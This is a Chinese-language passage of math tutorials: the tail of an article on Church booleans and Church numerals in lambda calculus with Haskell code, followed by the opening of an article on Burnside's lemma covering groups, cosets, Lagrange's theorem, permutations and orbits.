或运算也是一个双参数的函数，只要两参数 $a, b$ 中存在一个 $true$ 即返回 $true$ ，否则返回 $false$ 。可以表示成 $\text{ if } \ a \ \text{ then } \ true \ \text{else} \ ( \ \text{ if } \ b \ \text{ then } \ true \ \text{ else } \ false \ )$ ，因此：

$$or = \lambda a \ . \ \lambda b \ . \ a \enspace true \enspace (b \enspace true \enspace false)$$

其他？

诸如异或、同或等运算已经可以由上述三种运算组合起来表示了。

实现

用 Haskell 实现（ CodeWars: Church Booleans）：

{-# Language RankNTypes #-}

import Prelude hiding (Bool, False, True, not, and, or, (&&), (||), (==), (/=))

type Boolean = forall a. a -> a -> a

false, true :: Boolean
false = \ t f -> f
true  = \ t f -> t

not :: Boolean -> Boolean
and, or, xor :: Boolean -> Boolean -> Boolean

not = \ a   -> a false true
and = \ a b -> a (b true false) false
or  = \ a b -> a true (b true false)

Church Maybe

Church Numerals

Peano Axioms

在讨论 Church 数前，先来看看自然数是怎么被定义的。显然可以递归地定义自然数（类似于数学归纳法），首先定义 $0$ ，其次对于任意自然数 $n$ 定义一个能获得其后继元素的函数 $S(n)$ （对于自然数而言，显然 $S(n) = n + 1$ ）就行了。严谨地说，定义自然数集 $\mathbb{N}$ 的过程如下：

• $0 \in \mathbb{N}$
• 定义等价关系 (equality relation)：
  • 自反性：$\forall x \in \mathbb{N},\ x = x$
  • 对称性：$\forall x, y \in \mathbb{N},\ x = y \Rightarrow y = x$
  • 传递性：$\forall x, y, z \in \mathbb{N},\ x = y,\ y = z \Rightarrow x = z$
  • 封闭性：$\forall x \in \mathbb{N},\ x = y \Rightarrow y \in \mathbb{N}$
• 定义算术性质 (arithmetical properties)：
  • $\forall n \in \mathbb{N},\ S(n) \in \mathbb{N}$
  • $\forall m, n \in \mathbb{N},\ m = n \Leftrightarrow S(m) = S(n)$
  • $\forall n \in \mathbb{N},\ S(n) \neq 0$
• 归纳公理 (induction axiom)：
  • 若 $\mathbb{K}$ 是一个集合，满足：
    • $0 \in \mathbb{K}$
    • $\forall n \in \mathbb{K},\ S(n) \in \mathbb{K}$
  • 则：$\mathbb{N} \subseteq \mathbb{K}$

定义

既然只要有了后继函数和 $0$ 就可以表示出所有的自然数，那么依然考虑用二元函数来表述 Church 数，形如：

$$\lambda f \ . \ \lambda x \ . \ something$$

其中第一个参数 $f$ 可以看作后继函数，第二个参数 $x$ 可看作 $0$ 。由此可以很方便地使用这个式子定义 $0$ ：

$$C_0 = \lambda f \ . \ \lambda x \ . \ x$$

可以看到，不论我们传递给它什么后继函数，它所返回的结果都是 $0$ 。进一步，也可以比较轻松地定义：

$$\begin{aligned} C_1 & = \lambda f \ . \ \lambda x \ . \ f \enspace x \\ C_2 & = \lambda f \ . \ \lambda x \ . \ f \enspace (f \enspace x) \\ C_3 & = \lambda f \ . \ \lambda x \ . \ f \enspace (f \enspace (f \enspace x)) \\ & \dots \end{aligned}$$

可见，我们可以通过 Church Numeral 得到与自然数等价的任何事物。例如对于自然数 $n$ ，有：

$$n = C_n \enspace (+1) \enspace 0$$

基础运算

后继元素

在尝试解决加法前我们先解决一个看起来简单一些的问题：以 $C_n$ 为参数，而以 $C_{n + 1}$ 为返回值的函数 $succ$ 应当如何定义？

如果我们能够定义出 $succ$ ，那么将 $succ$ 作用 $b$ 次于 $C_a$ 即可达到 $C_a + C_b$ 的效果，更进一步，如果定义出了加法，则将 $(+ C_a)$ 作用 $b$ 次于 $0$ 即可达到 $C_a \cdot C_b$ 的效果。

为了方便理解，先继续以自然数 $n$ 作为例子：

$$\begin{aligned} n + 1 & = C_{n + 1} \enspace (+1) \enspace 0 \\ & = C_n \enspace (+1) \enspace 1 \\ & = C_n \enspace (+1) \enspace (C_1 \enspace (+1) \enspace 0) \\ \end{aligned}$$

这启示我们，当 $succ$ 作用于 $C_n$ 时，只需要保持后继函数 $f$ 不变，同时将零元由 $x$ 变为 $f \enspace x$ 就可以了。因此：

$$succ = \lambda M \ . \ \lambda f \ . \ \lambda x \ . \ f \enspace (M \enspace f \enspace x)$$

举个例子，试试用它作用于 $C_0$ ：

$$\begin{aligned} succ \enspace C_0 & = (\lambda M \ . \ \lambda f \ . \ \lambda x \ . \ f \enspace (M \enspace f \enspace x)) \enspace \lambda f \ . \ \lambda x \ . \ x \\ & = (\lambda f \ . \ \lambda x \ . \ f \enspace (M \enspace f \enspace x)) \enspace [M := \lambda f \ . \ \lambda x \ . \ x] \\ & = (\lambda g \ . \ \lambda y \ . \ g \enspace (M \enspace g \enspace y)) \enspace [M := \lambda f \ . \ \lambda x \ . \ x] \\ & = (\lambda g \ . \ \lambda y \ . \ g \enspace ((\lambda f \ . \ \lambda x \ . \ x) \enspace g \enspace y)) \\ & = \lambda g \ . \ \lambda y \ . \ g \enspace y \\ & = \lambda f \ . \ \lambda x \ . \ f \enspace x \\ & = C_1 \end{aligned}$$

加法

前面成功定义出了 $succ$ ，但还留下了一个问题：怎么表示 $\underbrace{succ \circ succ \circ \dots \circ succ}_{b \text{ times}}$ （下面简写为 $succ^b$ ）？

$$\begin{aligned} succ^b & = [ \lambda M \ . \ \lambda f \ . \ \lambda x \ . \ f \enspace (M \enspace f \enspace x) ]^b \\ & = \lambda x \ . \ f^b \enspace x \enspace [ f := \lambda M \ . \ \lambda f \ . \ \lambda x \ . \ f \enspace (M \enspace f \enspace x) ] \\ & = (\lambda f \ . \ \lambda x \ . \ f^b \enspace x) \enspace \lambda M \ . \ \lambda f \ . \ \lambda x \ . \ f \enspace (M \enspace f \enspace x) \\ & = C_b \enspace succ \end{aligned}$$

简要推广，对于任意一元 Church Numeral 函数 $f$ ，都有：

$$f^b = C_b \enspace f$$

于是对于加法：

$$\begin{aligned} C_a + C_b & = (+ C_b) \enspace C_a \\ & = (C_b \enspace succ) \enspace C_a \end{aligned}$$

我们也可以不考虑 $succ$ ，换一个角度考虑加法：其可看作二元函数，输入 $C_a, C_b$ 并且返回 $C_{a + b}$ 。依然以自然数 $a, b$ 举例：

$$\begin{aligned} a + b & = C_{a + b} \enspace (+1) \enspace 0 \\ & = C_a \enspace (+1) \enspace b \\ & = C_a \enspace (+1) \enspace (C_b \enspace (+1) \enspace 0) \end{aligned}$$

故将 $C_a$ 作用于后继函数 $f$ ，同时将 $C_b$ 作用于零元 $x$ 即可得到 $C_{a + b}$ ：

$$(+) = \lambda M \ . \ \lambda N \ . \ \lambda f \ . \ \lambda x \ . \ M \enspace f \enspace (N \enspace f \enspace x)$$

乘法

与之前类似地，可以借助加法表示乘法，将 $(+ C_a)$ 作用 $b$ 次于 $C_0$ 即可：

$$C_a \cdot C_b = C_b \enspace (+ C_a) \enspace C_0$$

若不借助加法，可考虑：乘法运算以 $C_a, C_b$ 为参数，并返回 $C_{a \cdot b}$ 。依然以自然数 $a, b$ 举例：

$$\begin{aligned} a \cdot b & = C_{a \cdot b} \enspace (+1) \enspace 0 \\ & = C_a \enspace (+b) \enspace 0 \\ & = C_a \enspace (C_b \enspace (+1)) \enspace 0 \end{aligned}$$

这启示我们，只需要将 $C_a, C_b$ 依次作用于后继函数 $f$ ，并且保持零元 $x$ 不变即可：

$$(\cdot) = \lambda M \ . \ \lambda N \ . \ \lambda f \ . \ \lambda x \ . \ M \enspace (N \enspace f) \enspace x$$

幂运算

与自然数的情况类似，幂运算还是得借助乘法实现，将 $(\cdot C_a)$ 作用 $b$ 次于 $C_1$ 即可：

$$C_a \hat{\enspace} C_b = C_b \enspace (\cdot C_a) \enspace C_1$$

实现

用 Haskell 实现（ CodeWars: Church Numbers）：

{-# LANGUAGE RankNTypes #-}

import Prelude hiding (succ)

newtype Number = Nr (forall a. (a -> a) -> a -> a)

zero :: Number
zero = Nr (\ _ x -> x)

succ :: Number -> Number
succ (Nr a) = Nr (\ f x -> f (a f x))

one :: Number
one = succ zero

add :: Number -> Number -> Number
add (Nr a) = a succ
-- add (Nr a) (Nr b) = Nr (\ f x -> a f (b f x))

mult :: Number -> Number -> Number
mult (Nr a) b =  a (add b) zero
-- mult (Nr a) (Nr b) = Nr (\ f x -> a (b f) x)

pow :: Number -> Number -> Number
pow x (Nr n) = n (mult x) one

减法？

对于 Church Numeral 的减法是一个非常有趣且不简单的问题。先考虑较简单的情况：对于以 $C_n$ 为参数，$C_{n - 1}$ 为结果的函数 $pred$ 应当如何定义（即求前驱元素）。

很快发现一个问题：$pred \enspace C_0 = ?$ 为了保证 $pred$ 是 well-defined 的，则：

$$pred \enspace C_n = \begin{cases} C_0 & n = 0 \\ C_{n - 1} & \text{otherwise} \end{cases}$$

Refs

• Comp 311 - Review 2
• Church Encoding by Mark Seemann
• Peano Aximos - Wikipedia

我们先引入一些例子来介绍一下 Burnside 引理常见的应用。

考虑一个等边三角形玩具，要对其顶点用红蓝两种颜色进行染色。由乘法原理，如果不考虑其他条件染色方案数量为 $2^3 = 8$ 种。但是，红 - 蓝 - 红 和 红 - 红 - 蓝 本质上对应的是同一种方案，后者可以由前者通过旋转得到。故本质上不同的染色方案一定小于 $8$ 种（事实上只有 $4$ 种）。应对这一类问题，仅靠传统的组合数学是非常难以应对的，而如果引入群论、置换群、置换群在集合上的作用等概念，再结合 Burnside 引理的话，就可以较好地解决这一类”求本质不同染色方案数“的问题。

另外，Burnside 引理也常被应用于化学上同分异构体种类的计数，大家感兴趣的话也可以了解一下~

本文大致分为三个部分：第一部分会首先对证明 Burnside 引理所需要的基本抽象代数知识进行介绍；第二部分会引入文章的主题 —— Burnside 引理和基础的 Pólya 计数法；最后会浅谈一下 Burnside 引理在算法竞赛中的几类常见题型。同时，本文某种程度上也可以作为之前在集训队内做过的讲座 浅谈置换群 的讲义。

另外，我的水平也有限，所以本文中的部分用语可能不太严谨…… 欢迎大家提出指正 QwQ。

群论基础

集合论基础

关系

关系 (relation) 指集合内部分元素之间的某种关联。比如整数构成的集合内元素间可以存在倍数关系，三角形构成的集合内元素间可以存在相似关系。

首先回顾集合 $A$ 和 $B$ 的 笛卡尔积 (Cartesian product) 定义：

$$A \times B = \left\{ (a, b) \mid a \in A, b \in B \right\}$$

可见 $A \times B$ 后得到的是一个由二元组的集合，并且这些二元组的左部来自于集合 $A$ ，右部来自于集合 $B$ 。

接下来尝试相对严格地定义关系：对于集合 $A$ ，集合 $A \times A$ 的每个子集 $R$ 都叫做集合 $A$ 上的一个关系。如果 $(a, b) \in R$ ，则称 $a$ 和 $b$ 有关系 $R$ ，记作 $aRb$ 。

等价关系

等价关系是一类特殊的关系。若集合 $A$ 上的关系 $\sim$ 满足如下条件：

• 自反性：$\forall a \in A$ ，$a \sim a$ ；
• 对称性：$\forall a, b \in A$ ，若 $a \sim b$ 则 $b \sim a$ ；
• 传递性：$\forall a, b \in A$ ，若 $a \sim b, \ b \sim c$ ，则 $a \sim c$ ；

则称 $\sim$ 是等价关系 (equivalence relation)。

前面提到的整除关系并不一定满足对称性、传递性，因此不属于等价关系；而三角形间的相似则满足全部 $3$ 条性质，因此属于等价关系。

再举一个例子，定义关系 $a \sim b := a \equiv b \pmod 7$ ，即若 $a$ 和 $b$ 除以 $7$ 所得的余数相等则称 $a$ 和 $b$ 间存在关系 $\sim$ ，也可以很容易验证自反性、对称性、传递性。

等价类

发现等价关系可以对集合内的元素进行分类：

• 依据三角形的相似关系可以对三角形集合进行分类，
• 依据模 $7$ 的余数可以把所有自然数分成 $7$ 类。

设 $\sim$ 是 $A$ 上的等价关系，$\forall a \in A$ ，$[a]$ 表示 $A$ 中与 $a$ 等价的全部元素构成的集合：

$$[a] = \{ b \sim a \mid b \in A \}$$

称 $[a]$ 为 $a$ 所在的等价类 (equivalence class)。

注意到一个元素似乎只可能属于一个等价类，而不能同时存在于多个等价类内。这也就使得，不同等价类之间的交集必然为空集。

性质：若 $a, b \in A$ 且 $[a] \cap [b] \neq \emptyset$ ，则 $[a] = [b]$ 。

运用反证法可以证明这一性质：

• 假设存在 $[a] \neq [b]$ 且 $[a] \cap [b] \neq \emptyset$ ；
• 令 $k_1 \in [a]$ 且 $k_1 \notin [b]$ ，$k_2 \in [a] \cap [b]$ ；
• 则有 $k_1 \sim a, \ k_2 \sim a, \ k_2 \sim b$ ；
• 由传递性得 $k_1 \sim b$ ，与假设不符。

这启示我们：

• 集合 $A$ 可看作一些两两不相交的等价类的并：

  $$A = \bigcup\limits_{a \in R} [a] \text{（两两不相交之并）}$$

  其中，式子里的 $R$ 称之为完全代表系，由等价类 $[a_i]$ 中选出一个元素构成，使得 $A$ 中每个元素都与 $R$ 中的某个元素等价，同时 $R$ 中的元素彼此不等价。

• $A$ 上的每个等价关系给出集合 $A$ 的一个划分 (partition)。

  划分的定义：若 $A$ 是它的某些子集 $\{ A_i | i \in I \}$ 之并，且 $A_i$ 两两不交，则称其为集合 $A$ 的一个划分（或分拆）。

引入等价类的意义就是为了对集合中的元素进行分类。后面要介绍的轨道、陪集等本质上都是基于等价关系的。

群论基础

群

设 $G$ 是非空集合，且二元运算 $\cdot$ 满足：

• 结合律：$(a \cdot b) \cdot c = a \cdot (b \cdot c)$
• 单位元 $e$ ：$\forall a \in G, \ ea = ae = a$
• 逆元：$\forall a \in G, \ \exist b \in G \text{ \ s.t. \ } ab = ba = e$

则称 $(G, \cdot)$ 是一个群 (group)，有时也简写成 $G$ 。

需要注意的是，群并不要求运算满足交换律。如果运算满足交换律，称这样的群为阿贝尔群 (Abelian group)，或交换群。另外，若群 $G$ 的大小有限，则成其为有限群 (finite group)。

例如在集合 $\mathbb{Z}_7 = [0, 1, 2, 3, 4, 5, 6]$ 上定义模 $7$ 加法，即 $a + b := (a + b) \bmod 7$ 。我们来验证一下 $(\mathbb{Z}_7, +)$ 是否成群：

• 结合律：$(a + b) + c = a + (b + c)$ ；
• 单位元 $e = 0$ ：$0 + a = a + 0 = a$ ；
• 逆元：对于 $a$ ，其逆元 $a^{-1} = (7 - a) \bmod 7$ ；

所以 $(\mathbb{Z}_7, +)$ 成群。

群有两条非常重要的性质：

• 左右逆元相等：

  设 $x$ 是 $a$ 的左逆元，$y$ 是 $a$ 的右逆元，有：

  $$x = xe = x(ay) = (xa)y = y$$

• 满足消去律：

  $$\forall a, b, c \in G, \ ab = ac \Leftrightarrow b = c$$

  可见，只要逆元存在就存在消去律。

子群

设 $(G, \cdot)$ 为群，$H$ 是 $G$ 的子集，若 $(H, \cdot)$ 成群，则称 $H$ 为 $G$ 的子群 (subgroup)，记作 $H \le G$ ；

陪集

前面提到可以通过等价类来对集合进行划分，而现在我们需要找到一种东西来对群进行划分。基于此引入陪集这一概念。

设 $H \leq G$ ，对于 $x \in G$ ：

• $H$ 的一个左陪集 (left coset) $xH$ ： $$xH = \{ x \cdot h \mid h \in H \}$$
• $H$ 的一个右陪集 (right coset) $Hx$ ： $$Hx = \{ h \cdot x \mid h \in H \}$$

由于左陪集和右陪集性质上相似，故后文只讨论左陪集。对于右陪集，请读者自行尝试~

对于 $x, y \in G$ ，定义如下关系 $\sim$ ：

$$x \sim y := x \in yH$$

发现这其实是一个等价关系：

• 自反性：$x \in xH$ ；
  • 既然 $H$ 是群，则 $e \in H$ ，故 $x \cdot e = x \in xH$
• 对称性：若 $y \in xH$ ，则 $x \in yH$ ；
  • $y \in xH \Rightarrow \exist h \in H \text{ \ s.t. \ } y = x \cdot h$
  • $H$ 中逆元存在，则 $\exists h \in H, \ \text{ s.t. } \ x = y \cdot h^{-1}$
  • 由 $h^{-1} \in H$ ，故 $x \in yH$
• 传递性：若 $z \in yH, \ y \in xH$ ，则 $z \in xH$ 。
  • $z \in yH \Rightarrow \exist h_1 \in H \text{ \ s.t. \ } y = z \cdot h_1$
  • $y \in xH \Rightarrow \exist h_2 \in H \text{ \ s.t. \ } x = y \cdot h_2$
  • 令 $h = h_1h_2$ ，则 $x = z \cdot h$ 且 $h \in H$ ，故 $z \in xH$

故直接将讨论等价类时得出的结论搬到此处：

• 若 $xH \cap yH \neq \emptyset$ ，则 $xH = yH$ ；

• 利用陪集可以对群 $G$ 进行划分（陪集分解）：

  $$G = \bigcup\limits_{g \in R} gH \text{（两两不相交之并）}$$

  这里展现了对群 $G$ 的左陪集分解。与之前类似， $R$ 称作 $G$ 对 $H$ 左陪集的代表元系。$R$ 由 $G$ 中的元素构成，并且这些用元素生成的左陪集彼此互不相同，与此同时这些左陪集的并集恰好为 $G$ 。

拉格朗日定理

对于群 $H \leq G$ （两者均为有限群），$\forall a, b \in H, g \in G$ ，由消去律：

$$a \neq b \Leftrightarrow ga \neq gb$$

这启示我们，$\forall g \in G$ ，$gH$ 内的元素其实和 $H$ 内的元素是一一对应的。因为 $H$ 内不同的元素左乘 $g$ 后并不会变得相等。因此两者大小也是相等的： $|H| = |gH|$ 。

这也意味着群 $G$ 对子群 $H$ 的所有陪集的大小都是相等的，并且都等于 $|H|$ 。

记 $R$ 为 $H$ 的左陪集代表元系，有：

$$\begin{aligned} |G| & = \sum\limits_{g \in R} |gH| \\ & = \sum\limits_{g \in R} |H| \\ & = |R| \cdot |H| \end{aligned}$$

若把 $H$ 的左陪集代表元系的大小 $|R|$ 称作群 $H$ 对于群 $G$ 的指数 (index) 并记作 $[G : H]$ ，便得到抽象代数里的拉格朗日定理 (Lagrange’s Theorem)：

设 $G$ 为有限群，$H \leq G$ ，则：

$$|G| = [G : H] \cdot |H|$$

置换、置换群

置换

一个集合的置换 (permutation) 即从该集合映射至自身的双射。

例如，对于 $[1, 2, \dots n]$ 的置换 $\sigma$ 可记作：

$$\sigma = \left(\begin{array}{cccc} 1 & 2 & \dots & n \\ \sigma(1) & \sigma(2) & \dots & \sigma(n) \end{array}\right)$$

其含义为，置换将 $1$ 变成 $\sigma(1)$ ，$2$ 变成 $\sigma(2)$ …… 依此类推。

置换之间存在复合运算： $(f \circ g)(x) = f(g(x))$ ，后文中时常简写为 $f \circ g$ ，有时也称其为置换间的乘法。

举一个例子：

$$\left(\begin{array}{cccccc} 1 & 2 & 3 & 4 & 5 & 6 \\ 4 & 5 & 1 & 3 & 6 & 2 \end{array}\right)$$

试着写出其对应的“映射关系链”：

$$\begin{aligned} 1 & \rightarrow 4 \rightarrow 3 \\ 2 & \rightarrow 5 \rightarrow 6 \end{aligned}$$

任何一个置换都能被划分成若干不交的映射链吗？如果可以的话，这就意味着我们发现了一种能够更简单表示置换的方式 —— 以“映射链”相乘的形式表示置换（也就是马上会讲到的轮换表示法）。

轮换表示法

$$\left(\begin{array}{cccc} a_1 & a_2 & \dots & a_n \\ a_2 & a_3 & \dots & a_1 \end{array}\right) \xRightarrow{\text{记作}} (a_1 \enspace a_2 \enspace \dots \enspace a_n)$$

借助轮换表示法来表示刚才的例子：

$$\left(\begin{array}{cccccc} 1 & 2 & 3 & 4 & 5 & 6 \\ 4 & 5 & 1 & 3 & 6 & 2 \end{array}\right) = (1 \enspace 4 \enspace 3) \cdot (2 \enspace 5 \enspace 6)$$

这令人联想到对于整数的质因数分解…… 那么若不计轮换内的次序（即 $(a, b, c)$ 和 $(b, c, a)$ 当作相同置换）以及轮换间的次序（即 $(a, b, c) \cdot (d, e, f)$ 与 $(d, e, f) \cdot (a, b, c)$ 当作相同分解方案），对于任意置换的不交轮换分解是唯一的吗？

Hmm… 显然是唯一的。下面给出一个构造性的说明：

• 对于恒等置换，显然分解是唯一的；
• 对于非恒等置换，$\exist i \text{ \ s.t. \ } \sigma(i) \neq i$ 。
  • $i \rightarrow \sigma(i) \rightarrow \sigma^2(i) \rightarrow \dots$
  • 由抽屉原理，$\exist t_1 < t_2 \text{ \ s.t. \ } \sigma^{t_1}(i) = \sigma^{t_2}(i)$
  • 令 $t$ 为使得 $\sigma^t(i) = i$ 的最小正整数，则： $$(i \enspace \sigma(i) \enspace \dots \enspace \sigma^{t - 1}(i))$$ 是一个轮换。
• 对于每个这样的 $i$ 都如此操作即可构造出一个唯一的不相交轮换分解式：
  • 每个元素在分解式中恰好出现 $1$ 次；
  • 每个元素所属于的轮换是固定的。

置换的幂运算

下面讨论如何快速得到置换 $\sigma$ 的 $t$ 次幂 $\sigma^t$ ，即与先后作用 $t$ 次 $\sigma$ 置换等价的置换。举几个例子：

$$\begin{aligned} (1 \enspace 2 \enspace 3 \enspace 4 \enspace 5 \enspace 6)^2 & = (1 \enspace 3 \enspace 5) \cdot (2 \enspace 4 \enspace 6) \\ (1 \enspace 2 \enspace 3 \enspace 4 \enspace 5 \enspace 6)^3 & = (1 \enspace 4) \cdot (2 \enspace 5) \cdot (3 \enspace 6) \\ (1 \enspace 2 \enspace 3 \enspace 4 \enspace 5 \enspace 6)^4 & = (1 \enspace 5 \enspace 3) \cdot (2 \enspace 6 \enspace 4) \end{aligned}$$

直接考虑置换的幂并不方便，但由于置换可被分解成若干不相交轮换，不妨先看简单一些的情形：求一个轮换的幂次。

$$\sigma = (a_0 \enspace a_1 \enspace \dots \enspace a_{n - 1})$$

首先根据轮换的定义，不难发现：

$$\sigma^t(a_i) = a_{[(i + t) \bmod n]}$$

接下来看看 $\sigma^t$ 中 $a_i$ 所在的轮换大小，实际上也就是 $a_i$ 所在“映射链”的长度。只需要求得最小正整数的 $k$ ，使得 $\sigma$ 作用于 $a_i$ $k$ 次后能够回到 $a_i$ （也就是找到周期），就能够知道其所在的映射链的长度了。

令 $k \in N^{*} \text{ \ s.t. \ } \sigma^{tk}(a_i) = a_i$ ：

$$\begin{aligned} & i + tk \equiv i \pmod n \\ & \Rightarrow tk \equiv 0 \pmod n \end{aligned}$$

最小正整数解：$k = \frac{n}{\gcd(n, t)}$

这意味着 $\sigma^t$ 可表示为 $\gcd(n, t)$ 个长为 $\frac{n}{\gcd(n, t)}$ 的轮换。

另外注意到 $a_i$ 所在轮换里第 $j \ (0 \le j < \gcd(n, t) )$ 个元素为 $a_{(i + jt) \bmod n}$ 。由于 $i + jt \equiv i \pmod t$ 且 $\gcd(n, t) \mid t$ ，有 $i + jt \equiv i \pmod {\gcd(n, t)}$ 。这意味着：

• $a_i$ 所在轮换内元素下标模 $\gcd(n, t)$ 均为 $i$ ；
• $a_0, a_1, \dots a_{\gcd(n, t) - 1}$ 一定位于不同轮换。

这些性质足以快速求得任一长度为 $n$ 的置换的幂次：

• 将置换分解为轮换：$\mathcal{O}(n)$ ；
• 对轮换内的每一个元素应用上述性质以生成结果的轮换分解式：$\mathcal{O}(n)$ ；
• 还原成置换：$\mathcal{O}(n)$ 。

置换群

$n$ 个元的所有置换，在复合运算 $\circ$ 下成群，称作 $n$ 元对称群 (symmetric group)，记作 $S_n$

• 结合律：$(\sigma \circ \tau) \circ \phi = \sigma \circ (\tau \circ \phi)$
• 单位元：恒等置换 $\epsilon \circ x = x$ ；
• 逆元：置换是双射，故必然存在逆置换。

群在集合上的作用

群在集合上作用是一个非常重要的概念。考虑如下映射 $\phi$ ：

$$\begin{aligned} \phi: G \times M & \longrightarrow M \\ (\sigma, x) & \longmapsto \sigma \circ x \end{aligned}$$

若 $\forall x \in M$ 同时满足：

• 单位元：$\exist \epsilon \in G \text{ \ s.t. \ }\epsilon \circ x = x$
• 结合律：$\tau \circ (\sigma \circ x) = (\tau \circ \sigma) \circ x$

则称群 $G$ 在集合 $M$ 上有群作用。

根据 Cayley 定理，每个群均同构于某个置换群。有了这个前提可能会更好理解群在集合上的作用。但是今天碍于主题，我们主要探讨置换群对于集合的作用。

为了更加清晰地介绍这一概念，再来看看本文开头所举的对等边三角形顶点染色的例子。

考虑置换群 $G$ 和集合 $M$ ：

$$\begin{aligned} G& = \{ \text{顺时针旋转 } 0^\circ, 120^\circ, 240^\circ \} \\ M & = \{ \text{不考虑同构时的染色方案} \} \end{aligned}$$

首先来看看不考虑同构时的所有染色方案：

再来看看 $\phi$ 作用下得到的结果：

可以看到，本质上 $\phi$ 作用后是并没有产生新元素的。另外，存在单位置换（旋转 $0^\circ$ ）使得它与任何一个染色方案作用都不发生变化；多个旋转作用于染色方案也是满足结合律的。所以在这个例子里 $G$ 对 $M$ 有群作用。

另外，图中每一列其实都是一个等价类。发现实际上不同的等价类只有四种（第 $2, 3, 4$ 列是相同的，第 $5, 6, 7$ 列是相同的）。可见，在旋转群的作用下，本质不同的方案实际上只有 $4$ 种。

轨道

我们把之前图中每一列都称作轨道。换言之，过 $x$ 的轨道就是将 $G$ 种每一个置换分别作用于 $x$ 得到的元素所组成的集合。由于群作用保证了不会产生新元素，因此这个集合是 $M$ 的子集。

群 $G$ 作用于集合 $M$ 上，$x \in M$ ，称 $M$ 的子集

$$\text{orb}_G(x) = \{ \sigma \circ x \mid \sigma \in G \}$$

为 $x$ 在 $G$ 作用下的轨道 (orbit)，简称过 $x$ 的轨道。

在之前的例子中，我们发现每一个元素都是属于唯一轨道的。换句话说，借助轨道，我们可以对集合 $M$ 中的元素进行分类。那对于更一般的情况这也成立吗？为了验证这一点，不妨继续把之前讨论等价类的那一套理论搬过来：

定义如下关系 $\sim$ ：

$$x \sim y := x \in \text{orb}_G(y)$$